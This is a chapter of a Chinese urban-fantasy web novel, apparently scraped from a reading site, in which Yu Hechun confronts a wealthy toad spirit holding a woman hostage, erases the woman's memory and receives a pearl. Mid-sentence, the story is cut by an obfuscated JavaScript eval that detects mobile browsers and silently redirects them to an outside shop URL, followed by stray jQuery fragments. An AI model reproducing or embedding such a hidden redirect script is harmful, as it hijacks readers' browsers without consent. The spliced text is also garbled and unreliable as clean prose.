一只巨大的□□跪在一个瑟瑟发抖的年轻女子面前,不停地拿出金项链、金手镯,举给她看。
“这个喜欢吗?”□□问道。
“我求求你了,你放我走吧,今天的一切我都会当做没有发生过的,求你了!”坐在黄金王座上的女孩瑟瑟发抖,连声音都是抖的。
“你先选你的东西,你喜欢什么你先选呀,你不喜欢金银财宝吗?”□□又问。
“够了,她家,条件很好。”于和春打断道。
李元正正在准备拿枪的手一顿,包抄呢?不打草惊蛇呢?悄悄上前控制匪徒?营救人质呢?
大姐,你怎么不讲套路啊!
□□“呱”地一声跳了一下,转过来盯着于和春。
不知为什么,李元正突然觉得自己被比自己还高的□□盯着,有一种惊悚的感觉。
以前参加工作的时候,没告诉自己会面对这些啊……
“你,刚才说什么?”□□问。
于和春:“她家有钱,你给她看那个没用。”
“你,你怎么知道!我!我要干什么?我就是送她礼物而已!”□□问道。
“只要她答应了你,接受了你的东西,你就可以对她下毒,能让她忘记今天的事情,对吗?”
李元正竟然在一只□□的脸上看到了惊恐的表情。
这一刻他就知道,于和春说对了。
“嗯,要不你再猜一猜呢?”□□问道,还歪着头眨了眨眼睛。
“但是你的毒素会伤害到她的身体,让她的脏器也中毒,所以,不允许。”
“谁,谁,谁不允许。”
“我。”于和春说道。
“那我也不允许你不允许。”□□变得非常赖皮。
“你修炼到今天不容易,刚才我弄死了一只蜈蚣精,是你的朋友还是你的……”
于和春的话还没有说完,□□立马跳起来:“谁?!什么?!谁是我朋友!那是我的敌人!天呐!你把他怎么了?”
“她把它的内丹掏出来了。”李元正看到□□的样子,没忍住接了一句。
“什么!你把它内丹掏出来了!!!!!!”□□又是一蹦三丈高。
“我允许你不让我下毒。大师,您知道吗,我是守法公民,我不做坏事的。”落地之后,□□歪着头,眨巴着眼睛,萌萌哒说。
李元正:这么能屈能伸的吗?还守法公民?不做坏事?
“她的这一段记忆,我有办法处理,但是……”于和春迟疑了一下。
“你看,这些东西里,你喜欢什么,随便挑随便选!”□□立马说道。
李元正:我竟然没有一只□□能屈能伸?
他再看了看眼前的金山银山,再次肯定了□□精的能力,他确实没有□□精有钱。
“你后面流水局里面的那种珠子。”
“嗷!”□□精哀嚎了一声,然后又瘪着嘴,捂着嘴巴一副受欺负的样子。
“这种珠子成双成对,你那个流水局里有三个,应该还剩了一个。”
□□精鼓了两下嘴巴,又鼓了两下嘴巴,“好吧好吧,我拿给你。”
“把刚才下的吸财术解掉,我没钱,穷得很。”
“可我在你身上闻到钱味了呀!”□□精甜甜地回答。
突然,□□精如遭雷击地坐在原地,慢慢转头看向于和春,“你,你怎么知道?你怎么能又知道我的咒术,你还能套我的话?你到底是哪家门人?”
李元正悄悄侧耳认真听,说句实在话,他也想知道于和春这么神,是哪家门人。
毕竟,从他们调查下来的情况来看,禹如秋之前是不会这些玄学的东西的,至少和她相处的人从来没见过她弄这些。
怎么一次住院就能会了?
还有她脖子上的伤口,如果是别人给她造成的,为什么她不报案?
如果是她自己造成的,她自己是怎么造成的?
“你看我像哪家门人?”
“我猜……你是凤飞山孟家?仓颉山陈家?孤鸣山王家?”
于和春摇头,□□精说的这些都是以前的玄学大家,但,在历史的长河中已经消失不见。
即使有后代,也不一定就传承了前人的衣钵。
这□□精估计修炼的时间特别长,自己也还算通透,能混迹在人群之中不被发现,已经很久没有接触到这些世家的人了。
“你且猜一猜,今天的事情没结束,探员们就会一直在这里,你生意不想做了?哦,对了,我们在处理蜈蚣精之前,先抓了一个小狐狸,在那里掏你客人的心呢!”于和春知道他舍不得珠子,故意拿话刺激他。
“什么?狐狸精,在掏我客人的,什么?!”□□精的眼睛变得鼓鼓囊囊的,身上的大脓包都气炸了一个。
在炸出脓水的瞬间,于和春冲到□□精身后,把莫依兰给拉了过来,藏到自己身后。
同时提醒李元正:“后退。”
“啊啊啊啊啊,这些是什么东西呀?”
“别怕。”于和春低声说了一句,对着她的额头凌空写了几个字,在往她额头前方一拍,似乎有一种看不见的东西被拍进了莫依兰的脑袋。
随后,莫依兰就昏睡过去了。
于和春把她交给李元正:“拜托李副队安排人把她送出去,今晚见过这位先生的事情,她不会再记得,直接把她送回家吧。”
“好。你自己注意。”李元正背起莫依兰,转身离开。
“我说的我已经做到了,你呢?”于和春看向□□精。
“你会凌空画符,你会凌空画符!”□□精往后退了几步,口中念念有词,脸上都是惊恐的表情。
紧接着,□□精问出口:“你是苍山于家?!”
“没错。”
气鼓鼓的□□精从一个气球慢慢慢慢地深呼吸,变成了一个原原本本的□□,然后,甜甜地对着于和春喊:“祖师奶奶?”
于和春:“……你我之间并无关系,不需要行此大礼。”
“不不不,这道上的,谁不知道于家?我马上就把珠子给您拿出来,啊,稍等哟~”
这甜甜的小□□有些过于甜了,于和春有些受不住。
这时候,李元正又进来了,“那大□□呢?”
“去取珠子了。”
“它,就是这个□□精,它……”
“你想知道它搞这个大的阵仗,会不会对人产生影响?”
“对。”
于和春想了一下,“它呢,已经修炼至少一千五百年以上,成人形没有一百也有五十年,身上气息还算纯净,它现在的修炼模式,主要是循环人的财气。不是吸走,是循环,用这个循环的力量,充沛他的修为,再用他赚来的钱,以别的方式反馈出去。”
李元正听完,反应了一下,然后问道:“不是吸走,是循环?”
“嗯,那个座位后面的流水局就是一个循环局,它呢,还算有良知,没有直接做局或者用自己的力量去吸收入局之人的财气或者说财运,而是将其循环起来,最终增进他修为的,是他自己的收入和流水,我这样说你能懂吧?”
收入?
流水?
可以增加□□精的修为?
他不理解,真的不理解。
但他听懂了,这个□□精和之前那种上来就掏心的小狐狸可不一样,他是能与人共生的那种。
“祖师奶奶!”一声甜甜的声音响起,李元
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17779378|209307||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
正一时间以为自己听错了,诧异地看向声音传来的方向。
一个帅气的穿着燕尾服的男子,端着一很大个黄金托盘,刚从一个密室里面出来。
李元正一脸问号:“这什么情况,怎么还有一个服务员?这是受害者吗?”
“什么服务员?我是老板,籁格宝!”帅气的穿着燕尾服的男子,觑了他一眼,径直向于和春走来。
“和春,什么?他刚刚说什么?”李元正以为自己听错了,怎么突然老板也进来了?
“他就是刚才的□□精,这是他的人形。”
“雾草!”李元正完全没能把□□精和眼前这个高挑帅气的男子联系到一起。
而且,刚才那声“祖师奶奶”是什么鬼?为什么于和春变成它的祖师奶奶了?
“祖师奶奶!来,这些都是混天珠,您喜欢哪个都可以选!”籁格宝没有搭理李元正,对着于和春谄媚道。
“我就要多出来那一个就行。”于和春看都不看盘子里的珍宝。
“好嘞,我给您找出来,找个盒子装上?”
于和春摇头,“不必,我揣兜里。”
籁格宝眨眨眼,“好的,行,给您揣兜里。”
“下面,李副队跟你说一下你这边今晚上发生的情况,你这边目标有些大,该注意的还是要注意,人来人往的,安全绝不能出问题。”
于和春说完,看向李元正:“李副队,您请讲。”
李元正从震惊中回过神来,清了清嗓子,把今晚的事情说了一遍。
籁格宝抓了抓头,“我就说今天总感觉有些不对,可我实在太忙了,就没有注意,那我还是得感谢一下二位,这样吧,我给咱们探员这边捐一栋楼,再给祖师奶奶送个法器?”
于和春摇头:“不必,我已经有了混天珠。”
“那不行,混天珠是为了蜈蚣精给的,法器是我自己愿意给的。你等等啊!”籁格宝说着,走出几步去,又转过头看对着李元正说:“李副队您也稍等,贵单位的捐赠手续如何履行,方便帮我问一下吗?”
李元正看了于和春一眼,于和春说道:“您看您那边是否合适,它也不差这一点。”
“好,那我打个电话。”
李元正去打电话的过程中,籁格宝出来了,手里拿着一块淡青色的石头,“祖师奶奶,这是我好不容易的来的老玉,用来做法器正合适,这新石头,也没有认过主,送给您您看怎么样?”
于和春看了一眼,点点头,“多谢!”
“祖师奶奶,您的洞府在哪里呀?我可以过来听你讲经吗?”
打完电话刚回来的李元正听到这句话,舔了舔嘴唇,一瞬间他有点以为自己在玩什么体验游戏呢。
“李副队,您这边捐赠手续可以告知了吗?”
“可以,我把经办人员电话给你。”李元正把电话报了。
走之前,于和春又说:“我朋友不小心进了这个密室,你在入口处设个阵法吧,让人都进不来。”
“好好好,之前也设了的,只是今天让人来维修里面的水管,就把阵法给撤了,今后不会了。您朋友的是……”籁格宝生怕她的朋友见过自己。
“见过蜈蚣精,进了密室,没见到你。”
“那倒没关系,密室的事情……”
“我会交代她的。”
“好,我送二位出去。”
□□精知道,消除记忆的术法非常耗神,那个朋友既然没见到自己,也就没必要非要要求人家消除记忆,毕竟还有那么多探员知道自己这个密室的存在了。
才从密室出来,就有一个身影飞快地冲到了于和春面前抱紧了她:“和春,你终于出来了!你还好吧?有没有受伤?”